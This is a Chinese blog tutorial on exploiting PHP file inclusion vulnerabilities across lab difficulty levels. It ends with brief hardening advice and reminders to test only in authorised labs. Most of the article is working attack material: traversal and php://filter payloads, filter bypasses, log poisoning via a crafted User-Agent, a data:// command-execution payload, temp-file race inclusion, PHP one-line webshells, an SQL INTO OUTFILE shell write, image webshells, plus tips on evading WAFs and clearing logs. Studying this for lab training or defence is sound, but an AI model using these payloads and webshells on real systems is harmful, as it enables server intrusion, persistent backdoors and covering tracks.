news 2026/10/31 15:14:22

文件包含漏洞实战:从低到高级绕过与木马植入全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
文件包含漏洞实战:从低到高级绕过与木马植入全解析

文件包含漏洞这几年在各类安全测试里出现的频率一直不低,很多入门的朋友问我:明明代码里已经把用户输入带进了include,为什么有的站能直接 getshell,有的站折腾半天只能读到个源码?其实答案往往就藏在“漏洞利用难度分级”这件事上。今天这篇就用实战视角,把文件包含漏洞在低、中、高三级别下的利用思路、绕过手法和配套的一句话木马、图片木马玩法一次讲透。

我习惯把这套东西放在本地靶场环境里做验证,既安全又能完整复现从零到一的利用链。如果你是刚开始接触 Web 安全,建议先别急着上真实目标,把这篇文章里的操作在靶场里过一遍,把“为什么这样做”搞明白,比你死记一百个 Payload 要有用得多。

1. 文件包含漏洞的本质:为什么一段路径能变成代码执行

先回到最根本的问题:文件包含漏洞到底是怎么来的?服务端脚本语言(PHP、JSP、ASP 等)都支持把某个文件的内容包含进当前脚本里执行。以 PHP 为例,include、include_once、require、require_once这组函数就是干这个的。

<?php $page = $_GET['page']; include($page . '.php'); ?>

这是一段很典型的漏洞代码。开发者本意是让用户通过page参数切换不同页面,比如index.php?page=home就加载home.php。问题在于:用户输入直接拼进了文件路径,服务器就会按照这个路径去读取并执行文件。如果没有人对page参数做合法性校验,攻击者就可以传任意路径。

那文件包含和普通的文件读取漏洞有什么区别?区别非常大。文件读取漏洞(比如file_get_contents直接输出内容)只能“读”,而文件包含是“读进来并当作代码执行”。这意味着:只要你能控制包含的文件内容,你就拿到了目标服务器的代码执行权限。

这里有个适合新手理解的生活类比:你把一份文档交给秘书,说“把这份文档打印出来”(文件读取),秘书照做;但如果你说“把这份文档的内容当作工作指令去执行”(文件包含),那就完全不一样了——文档里写什么都可能被执行。

文件包含按包含方式可以分为两种:

类型特征常见场景
本地文件包含(LFI)只能包含服务器本地的文件?page=../../etc/passwd
远程文件包含(RFI)可以包含远程服务器上的文件?page=http://attacker/shell.txt

远程包含利用起来更“省事”,但前提是 PHP 配置里开启了allow_url_include且关闭了allow_url_fopen的限制(默认情况下allow_url_include是关闭的)。所以现在实战中遇到的大多数是本地包含,需要配合日志注入、临时文件、伪协议等手段来完成 getshell。

2. 低级别下的直接包含:路径直通与源码读取

低级别靶场环境里,服务端对用户输入基本不做处理,直接进入include。这就是最原始也最好利用的状态。

2.1 目录穿越读取敏感文件

首先试最经典的目录穿越:?page=../../../../../../etc/passwd。关键在于../../的次数要够多,才能从当前目录穿越到根目录。我一般习惯先上一大串../../../../../../../,读到文件后再根据路径深度微调。

我实际测试时经常遇到一个误区:明明传了../../../../etc/passwd,页面却一片空白或报错。这时候十有八九是路径多了或者少了。简单判断方法:先看当前脚本在哪个目录,再算到根目录需要几层。实在不确定就把层级数放大到十几层,绝大多数情况下多余的../会被系统直接忽略,最终还能正常读出来。

读取到/etc/passwd后,某些配置不当的环境还能继续深挖:

# 读取 Web 服务的配置文件 ?page=../../../../../../etc/nginx/nginx.conf ?page=../../../../../../etc/apache2/apache2.conf # 读取敏感信息文件 ?page=../../../../../../proc/self/environ ?page=../../../../../../proc/self/cmdline

/proc/self/environ是个很有意思的文件,它记录了当前进程的环境变量,里面往往会有路径信息、数据库连接串甚至密钥。如果服务器用 CGI 方式运行 PHP,环境变量里还能看到HTTP_USER_AGENT等请求头,这意味着你可以把恶意代码写进 User-Agent 头,然后通过文件包含触发执行——这是经典的“日志投毒”利用链的变种思路。

2.2 结合 PHP 伪协议读取源码

低级别环境里,读/etc/passwd只是开胃菜。更实用的是通过 PHP 伪协议读取目标页面的源码,方便后续审计。

# 用 php://filter 读取 index.php 的源码,base64 编码是为了防止特殊字符被解析 ?page=php://filter/convert.base64-encode/resource=index.php

为什么要 base64 编码?因为 PHP 源码里包含<?php ?>标签,直接包含会让服务器去执行这些代码,你就看不到源码了;用convert.base64-encode过滤器后,输出的是编码后的字符串,把这段字符串复制出来解密即可还原源码。

拿到源码后就能继续挖掘其他参数、数据库配置、文件上传点等等。可以说在低级别下,文件包含已经足够让攻击者完成从“读取”到“审计”再到“代码执行”的完整链条。低级别环境下的防御约等于零,这也是为什么它是入门阶段最适合练手的原因——你能清楚地看到漏洞形成原理,没有任何干扰因素。

3. 中级别下的绕过思路:字符串替换与路径修饰的博弈

中级别的防护开始有点意思了。这个级别通常会做两步过滤:一是把../替换成空字符串(或删除),二是强制在路径末尾追加.php后缀。这两步看似合理,但都各自留有绕过空间。

3.1 针对../被替换的绕过

先看一段典型的中级别防护代码:

<?php $page = $_GET['page']; $page = str_replace('../', '', $page); // 删除 ../ include($page . '.php'); ?>

这里的问题在于str_replace是单次匹配替换,而且它不会递归处理。什么意思?它把第一次出现的../删除后就直接返回结果,不会再检查替换后的字符串里是否还残留../。所以经典的绕过方式就是双写:

?page=....//....//....//etc/passwd

处理过程:把所有../当作特征字符串删掉。....//里会把中间的../删掉,剩下的拼在一起还是../。几次替换之后,路径就还原成了../../etc/passwd。可以理解为“你把‘苹果’两个字从句子中删掉,我把‘苹果苹果’写成‘苹苹果果’,你删完中间的‘苹果’,两头剩下的‘苹’和‘果’又拼成了一个‘苹果’”。

如果删的是../但保留了..和/,还可以用另一种思路:直接传绝对路径。因为include支持绝对路径,绝对路径里本来就不需要../:

?page=/etc/passwd

str_replace找不到../,自然什么都不做,而/etc/passwd本身就是一个合法路径。这一招在不少中级别环境下都有效。

3.2 针对强制追加.php后缀的绕过

中级别防护第二招是给路径末尾强制加.php。防御者的逻辑是:就算你能包含,也只能包含当前站点的 PHP 文件,总不能把.jpg、.txt这类文件包含进来形成利用吧?这个思路本身没问题,但实现上留下了两个明显的口子。

第一个口子是 URL 参数垃圾字符(Truncation)。这是老版本 PHP 的经典绕过:路径过长时,系统会截断多余部分。具体来说,当路径总长度超过 4096 字节(某些版本是 2048 或 8192,取决于配置)时,超过的部分会被直接丢弃。利用方式就是:

?page=../../../../etc/passwd%00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...

末尾塞一堆a,让路径超长触发截断,%00之后的垃圾字符会在文件系统层面被忽略,末尾自动追加的.php也被截断甩掉了。不过这个方法在新版本 PHP 里已经失效(%00截断在 PHP 5.3.4 之后被修复,超长截断也只存在于很老的版本),现在更多是作为历史知识了解。

第二个口子是路径修饰符。新版 PHP 里.php后缀还是会强制追加,但我们可以用一些技巧把它“藏”进路径中。Linux 系统里,路径末尾如果有多个点或空格,不影响文件的正常读取。于是:

?page=../../../../etc/passwd/. ?page=../../../../etc/passwd%00

在 PHP 5.x 的某些中间版本里,include('/etc/passwd/.php')会被文件系统解析成/etc/passwd,因为.代表当前目录,/.等于什么都没加。同理,末尾加一个空格也可能被忽略。这类“路径语义解析差异”的绕过在现代 PHP 8 里基本行不通了,但理解它的原理能帮你建立起“代码过滤 ≠ 文件系统实际行为”的思维方式。

中级别总结起来一句话:防护做了什么,你就盯着那个防护动作本身找漏洞。替换删不干净,就用双写;后缀强制加,就让后缀加不到有效路径上。攻防的本质是找“过滤逻辑”和“实际解析逻辑”之间的偏差。

4. 高级别下的限制突围:正则过滤与路径白名单的尽头

高级别靶场会把防护升级到正则匹配级别,这也是目前很多真实业务系统的做法。典型代码如下:

<?php $page = $_GET['page']; if(preg_match('/^(http|https|file|php|zip|data|expect):/i', $page)) { die('不允许的协议'); } $page = str_replace('../', '', $page); $page = str_replace('..\\', '', $page); include($page . '.php'); ?>

这版防护做了三件事:拦截常见伪协议关键字、清理目录穿越符号、强制追加.php。在 PHP 8 环境下,前面提到的%00截断和超长截断都已失效,目录穿越双写也被str_replace处理了两次。看起来很难突破对不对?但注意两个细节:这只拦截了“协议关键字”和“目录穿越符号”,并没有对文件路径做真正的白名单校验。

4.1 日志投毒:把代码写进错误日志

日志投毒的思路是:既然不能直接指定任意文件,那就找一个“可控内容会写入”的服务器本地文件,把这个文件当成包含目标。Web 服务器一定会记录访问日志,而访问日志里会包含我们的 User-Agent 或请求路径。如果日志文件所在的目录可读,并且能被 PHP 包含执行,那就等于把代码种进了服务器。

具体操作分三步:

第一步,确定日志路径。常见的有/var/log/nginx/access.log、/var/log/apache2/access.log。不确定时可以用phpinfo()页面、报错信息或常见的默认路径逐一尝试。

第二步,往日志里写入恶意代码。向目标发送一个请求,把 User-Agent 改成 PHP 代码:

curl -A "<?php phpinfo(); ?>" http://target/index.php?page=test

访问日志会原样记录 User-Agent 内容。注意要保证请求能正常到达 Web 服务并产生访问记录,就算页面返回 404 也无所谓,关键是访问日志必须落盘。

第三步,用文件包含触发日志文件。

?page=../../../../../../var/log/nginx/access.log

这次包含会把 access.log 当作 PHP 文件解析,日志里那一行 User-Agent 中的<?php phpinfo(); ?>就会被执行。如果能看到 phpinfo 页面,日志投毒就成功了。

实际踩坑提醒:日志文件可能很大,包含进来页面会很卡;而且 User-Agent 里的代码如果执行不成功,大概率是被日志格式转义了(比如引号被反转义)。我的经验是代码尽量简洁,避免使用引号和特殊字符,例如直接用<?php system('id'); ?>而不是带双引号的版本。

4.2 临时文件包含:利用上传文件的落地窗口

如果服务器有文件上传功能(头像、附件、导入文件等),PHP 在处理上传请求时会把上传文件先存到临时目录(通常是/tmp/php??????,文件名随机,请求结束后立即删除)。在这个短暂的时间窗口内,如果能猜到临时文件名并通过文件包含把它包含进来,就能执行其中的代码。

这招在不能写日志、不能读配置的高级别环境里特别好用。难点只有一个:临时文件名是随机的,6 个字符范围很大,怎么猜?

常见思路是配合竞争条件(Race Condition):上传文件,在上传请求发出后、临时文件被删除前的极短时间窗内,不断用不同文件名去尝试包含。本地靶场可以在上传接口丢一个包含恶意代码的图片,同时脚本疯狂重放包含请求,实测下来命中率其实不错,因为 PHP 清理临时文件有极短的延迟,给了我们心跳式尝试的机会。

不过这里的成功率受服务器性能和 PHP 版本影响,作为实战手段需要耐心。个人建议先在靶场里写个小脚本测通流程,搞清楚“上传后多久会被清理”这个时间窗口,再去真实场景使用。

4.3 伪协议被拦后的替代:data:// 的另类思路

高级别代码里把常见协议关键字通过正则拦了个遍,但data://不在默认拦截列表里时就有机会。data://协议支持直接内嵌文本或 base64 编码的数据流,配合include可以直接执行代码:

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

其中PD9waHAgc3lzdGVtKCdpZCcpOz8+是<?php system('id');?>的 base64 编码。如果allow_url_include开启,这招在高级别环境下可以直接一击命中。当然,在真实环境里大部分生产配置会把allow_url_include关掉,但作为测试项绝不能跳过——很多二次开发框架会为了“方便”放开这个配置,存在侥幸的空间。

高级别环境下,攻击面看起来被压得很窄,但真正落地的姿势反而更多样化。前面三步都失败的话,依然保留着“临时文件竞争 + 日志/缓存文件”组合拳的机会。高级别不是没有漏洞,而是漏洞利用不再那么直接,需要配合其他功能点来“搭桥”。

下面这张表梳理了三个级别在防护特征和利用侧重点上的区别:

级别防护特征核心利用方式典型绕过手段
低无过滤直接包含任意文件目录穿越、伪协议直接读源码
中替换../、追加.php绕过过滤后包含双写....//、绝对路径、%00 截断
高正则拦截协议关键字、清理穿越符间接包含可控文件日志投毒、临时文件竞争、data://

5. 一句话木马与图片木马:从代码执行到稳定后门

文件包含漏洞能让你“执行代码”,但最终要站稳脚跟、反复利用,还得靠一句话木马这类持久化工具。一句话木马的核心逻辑是:把一个接收命令的入口写进目标文件,之后只要通过这个入口就能提交任意代码并执行。

5.1 一句话木马的本质与写入姿势

PHP 一句话木马最常见的形式:

<?php @eval($_POST['pass']); ?>

$_POST['pass']接收 POST 参数,eval把它当作 PHP 代码执行。就这么一行,配合蚁剑或冰蝎这类客户端,就能获得一个完整的虚拟终端——可以执行系统命令、读写文件、反弹 Shell。

需要提醒的是,这句话有时候会被安全设备拦,因为eval、assert、$_POST这些特征太明显。绕过思路可以这样写:

<?php @preg_replace("/a/e", $_POST['pass'], "a"); ?>

这是老版本 PHP 的经典写法,preg_replace的/e修饰符会把替换内容当作代码执行。新版 PHP 已经移除了preg_replace的/e能力,但理解这段历史对绕过常见 WAF 规则有帮助——安全的本质是理解哪些函数“行为上等同于 eval”。

把一句话木马写入目标服务器的常用姿势:

写入途径前提条件示例
文件上传目标有上传点且格式校验不严上传一个改后缀的图片马
数据库备份/导入目标存在 SQL 注入且能写文件SELECT '<?php @eval($_POST["pass"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
日志投毒日志文件可被包含把一句话写进 User-Agent 再包含日志
配置写入应用存在任意文件写改模板文件或配置文件

5.2 图片木马的制作原理与测试步骤

图片木马通俗解释:一张正常的图片文件,在其二进制内容末尾附加一段恶意代码。服务端在包含它时,如果按 PHP 解析,代码就会被执行;如果按图片输出,则显示为正常图片。这样就能绕过“只允许上传图片文件”的校验。

制作过程我一般在 Kali 上用命令行完成:

# 准备一张正常的图片 cp dog.jpg shell.jpg # 在图片末尾追加一句话木马 echo "<?php @eval(\$_POST['pass']); ?>" >> shell.jpg

用编辑器打开 shell.jpg 能看到图片尾部多了一行 PHP 代码。测试时注意两个关键点:一是文件头部必须是正常的图片头(JPEG 以FF D8 FF开头,PNG 以89 50 4E 47开头),这样图片上传接口的格式校验能过;二是文件包含执行时,目标环境必须能把它当 PHP 解析——这正是文件包含漏洞的精髓:包含文件的“身份”由 include 函数决定,不取决于文件后缀。

这里分享一个实际测试中特别容易踩的坑:文件包含图片马之前,先確認 PHP 在解析包含文件时不会因为文件前面的二进制内容而报错。大部分情况下 PHP 执行包含文件时会忽略<?php标签之前的内容,但某些特殊二进制字节可能干扰解析。稳妥的做法是用图片马时把恶意代码放在文件最末尾,前面保留完整图片数据,此时解析器会从<?php开始执行,而图片内容被当作纯文本输出,完全不影响。

注意:图片木马能不能顺利被包含执行,关键因素在于目标include是否处理了“文件后缀”这个限制。低级别无所谓;中级别强制追加.php后,图片马要配合.php后缀直接在路径末段出现;高级别则更多要落到“日志/临时文件”这些本身没有可控文件名规则的路径上。

用一句话木马连接时,我推荐用支持自定义连接配置的客户端工具,这样能灵活适配不同的一句话变体、不同参数名。先在小靶场里跑通整个流程,熟悉工具回显特征,再转移到复杂环境。

6. 三个级别的靶场实测记录与最终避坑建议

最后这部分把三个级别的实测思路汇总成一条完整链路,同时把那些“文档里不会写,但实战一定会遇到”的坑点集中列一下。

6.1 从读到执行:一张测试流程全景图

我的习惯是先跑通这套流程,再根据目标环境微调:

  1. 探测入口:找到带page等参数的文件包含入口,先随便传一个正常值观察行为变化。
  2. 确认包含点:传index.php看是否重复包含自身(页面不断循环或输出内容),或者传一个不存在的路径看报错信息。
  3. 尝试读取:低级别直接目录穿越读/etc/passwd,中级别双写或绝对路径,高级别用伪协议先确认协议是否可用(php://filter通常拦不住)。
  4. 确认代码执行:能读源码后,优先用日志投毒或临时文件竞争方式确认能否执行代码。
  5. 植入后门:包含成功后把一句话木马写入 Web 目录或日志,连接客户端确认权限。
  6. 清理痕迹:测试完成后删除后门文件、清掉日志里的异常请求,保持靶场环境干净,也方便下次继续用。

6.2 高频踩坑点:来自多次实操的经验

坑一:目录穿越层数盲目猜测。我一上来喜欢传十几层../,大部分情况下问题不大,但碰到特定目录结构时可能因为路径过长触发其他异常。用 PHP 的dirname(__FILE__)思路去分析当前脚本位置,再精确计算层数,比盲目堆叠更靠谱。

坑二:日志投毒时 User-Agent 被转义。很多日志格式会对引号做转义处理,导致包含时 PHP 代码被破坏。解决办法是避开引号,例如写成:

User-Agent: <?php system($_GET[cmd]); ?>

用$_GET[cmd]而不是$_GET['cmd'],PHP 里不带引号的数组键会当作常量解析,最终能正常工作,但省掉了引号,被转义的概率就小很多。

坑三:临时文件竞争测试时脚本不够快。临时文件的存活窗口非常短,如果重放请求间隔太长很容易错过。用并发请求(比如同时开 100 个线程请求包含),大幅提高命中概率。多线程并发这个操作在本地靶场效果明显,真实环境里会更快触发目标告警,谨慎使用。

坑四:图片马上传后被重新编码。有的上传系统会对图片做压缩、重采样或二次编码处理,导致追加在末尾的代码被清掉。对策是先判断目标是否对上传图片做“重新生成”操作。判断方式很简单:上传一张普通的 jpg 图片,下载回来用编辑器打开看看末尾,如果尺寸或内容有变化,说明存在二次处理,图片马这条路要谨慎依赖。

6.3 防御视角:怎么加固才能堵住这些利用链

既然把利用手法过了一遍,顺手从防御端梳理一下日常巡检的要点,对理解漏洞和日常排查都很有帮助:

  • 输入校验要用白名单,而不是黑名单过滤关键字。把允许包含的文件名写死成home|about|news这样的枚举,比什么都拦更有效。
  • 关闭不必要的危险配置:allow_url_include必须为Off,伪协议中的expect、zip可以按需关闭。
  • 日志文件权限设置严格,防止低权限用户读取到日志内容。
  • 上传功能强制重编码图片,并且对上传文件执行“内容与扩展名一致性”校验。
  • 运行时监控 eval 类函数:关注eval、assert、preg_replace等高风险函数调用,异常调用链要及时告警。
  • 文件包含点统一封装:所有动态包含都经过一个统一入口,入口内部做路径标准化和真实路径校验。

整篇内容到这里,基本把文件包含漏洞在三个级别下的利用思路、一句话木马和图片木马的配合使用都讲透了。对我个人来说,文件包含最迷人的地方在于它能把“读文件”这种看起来无害的能力一步步升级成“执行命令”的权限,而这中间每一层防护的薄弱点,都是安全测试中反复钻研的富矿。测试时务必在授权环境下进行,所有 Payload 只在靶场验证,养成这个习惯比掌握多少利用技巧都重要。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/1 12:39:27

零基础学Python:从刻意练习到动手写代码的完整路线

1. 项目概述&#xff1a;为什么“笨办法”反而是学Python的捷径这几年总有人拿着《笨办法学Python》的标题来问我&#xff1a;现在网课、视频、AI辅助工具都这么多了&#xff0c;干嘛还要一本本啃习题、一行行敲代码&#xff1f;我的回答一直很直接&#xff1a;正因为工具太多、…

作者头像 李华
网站建设 2026/11/1 12:39:55

自动驾驶场景理解:从物体识别到因果推演的技术跃迁

1. 一个被反复误解的“升级”&#xff1a;不是技术堆砌&#xff0c;而是认知范式的迁移“自动驾驶为何要从识别物体升级到理解场景&#xff1f;”——这个标题乍看像一句技术演进的常识性陈述&#xff0c;但实际在行业一线&#xff0c;它背后藏着过去五年最深刻的分歧与最惨痛的…

作者头像 李华
网站建设 2026/10/27 6:18:46

Informix Client SDK 4.10 Windows 配置与 ESQL/C 开发实战指南

简介&#xff1a;本资源是IBM Informix数据库Windows平台开发的核心工具包——Informix Client SDK 4.10官方安装套件&#xff0c;专为Windows 32位环境下的C/C、Java、Python等多语言数据库应用开发者设计&#xff0c;解决客户端连接配置、SQL嵌入调用、JDBC驱动集成及OAT在线…

作者头像 李华
网站建设 2026/10/26 16:08:56

LEACH、LEACH-C与TS-I-LEACH分簇路由协议仿真对比

从读研那会儿开始&#xff0c;我就一直在跟无线传感器网络的路由协议死磕。提到这个领域&#xff0c;LEACH&#xff08;低功耗自适应分簇路由协议&#xff09;是绕不开的经典&#xff0c;论文里不拿它当基准都说不过去。但经典归经典&#xff0c;它的问题也不少。后来陆续研究了…

作者头像 李华
网站建设 2026/10/26 15:13:02

用Fabric实现Python自动化部署:从脚本到CI/CD的实战指南

你还记得上一次手动部署是什么时候吗&#xff1f;反正我是受够了那种反复登录服务器、复制粘贴命令的日子&#xff0c;尤其是在深夜上线的时候&#xff0c;一步出错就得从头排查。后来我痛下决心&#xff0c;把所有的部署操作都交给Fabric来搞定。Fabric是一个基于Python的自动…

作者头像 李华